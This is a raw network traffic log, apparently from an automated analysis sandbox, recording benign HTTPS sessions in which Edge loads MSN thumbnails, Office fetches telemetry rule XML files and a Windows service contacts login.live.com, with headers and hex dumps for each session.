2024-10-29 05:59:38 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:38 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 41937e91-c01e-008e-5d57-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055938Z-16849878b78q9m8bqvwuva4svc00000004k000000000fvxb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 05:59:38 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49924	23.55.178.242	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:38 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:38 UTC	548	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Thu, 24 Oct 2024 19:49:53 GMT X-Source-Length: 17955 X-Datacenter: eastap X-ActivityId: 53621c4b-f6ac-4e45-8979-9690752d9442 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=49823 Expires: Tue, 29 Oct 2024 19:50:01 GMT Date: Tue, 29 Oct 2024 05:59:38 GMT Connection: close
2024-10-29 05:59:38 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49923	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:38 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:38 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:38 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: f473ee8a-401e-00ac-6cf0-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055938Z-15b8d89586fwzdd8urmg0p1ebs0000000grg000000000yr4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:38 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	49925	40.126.32.133	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:39 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-29 05:59:39 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-29 05:59:39 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 29 Oct 2024 05:58:39 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.3 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 5dd6a281-6caa-46f1-be10-33322e242dcb PPServer: PPV: 30 H: PH1PEPF00011FD5 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 29 Oct 2024 05:59:38 GMT Connection: close Content-Length: 11392
2024-10-29 05:59:39 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49926	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:39 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:39 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:39 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 19a18c92-701e-0098-0fb0-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055939Z-16849878b78xblwksrnkakc08w000000059g00000000eybc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:39 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	49930	23.55.178.242	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:39 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:39 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 27 Oct 2024 03:02:23 GMT X-Datacenter: eastus X-ActivityId: d134abc4-5b3f-4977-a14b-5e1cfd5c1a9b Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 62552 Content-Length: 8192 Cache-Control: public, max-age=248571 Expires: Fri, 01 Nov 2024 03:02:30 GMT Date: Tue, 29 Oct 2024 05:59:39 GMT Connection: close
2024-10-29 05:59:39 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49927	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:39 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:39 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:39 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 0243abe0-001e-0028-29fb-25c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055939Z-16849878b78wv88bk51myq5vxc00000006eg000000003z6k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:39 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49929	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:39 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:39 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:39 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055939Z-16849878b782d4lwcu6h6gmxnw00000005t0000000008s2s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:39 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49928	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:39 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:39 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:39 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 2e99a458-901e-0067-29ae-26b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055939Z-16849878b78g2m84h2v9sta290000000052g000000004bvn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:39 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49931	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:39 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:39 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:39 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: d8669f86-801e-0083-53a9-29f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055939Z-17c5cb586f6wnfhvhw6gvetfh400000005e000000000fp01 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:39 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.5	49933	23.55.178.242	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:40 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:40 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 12 Oct 2024 01:25:55 GMT X-Datacenter: eastus X-ActivityId: df2abde1-3027-43f4-af1d-8dfec2b1f8d4 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 95457 Content-Length: 8192 Cache-Control: public, max-age=113463 Expires: Wed, 30 Oct 2024 13:30:43 GMT Date: Tue, 29 Oct 2024 05:59:40 GMT Connection: close
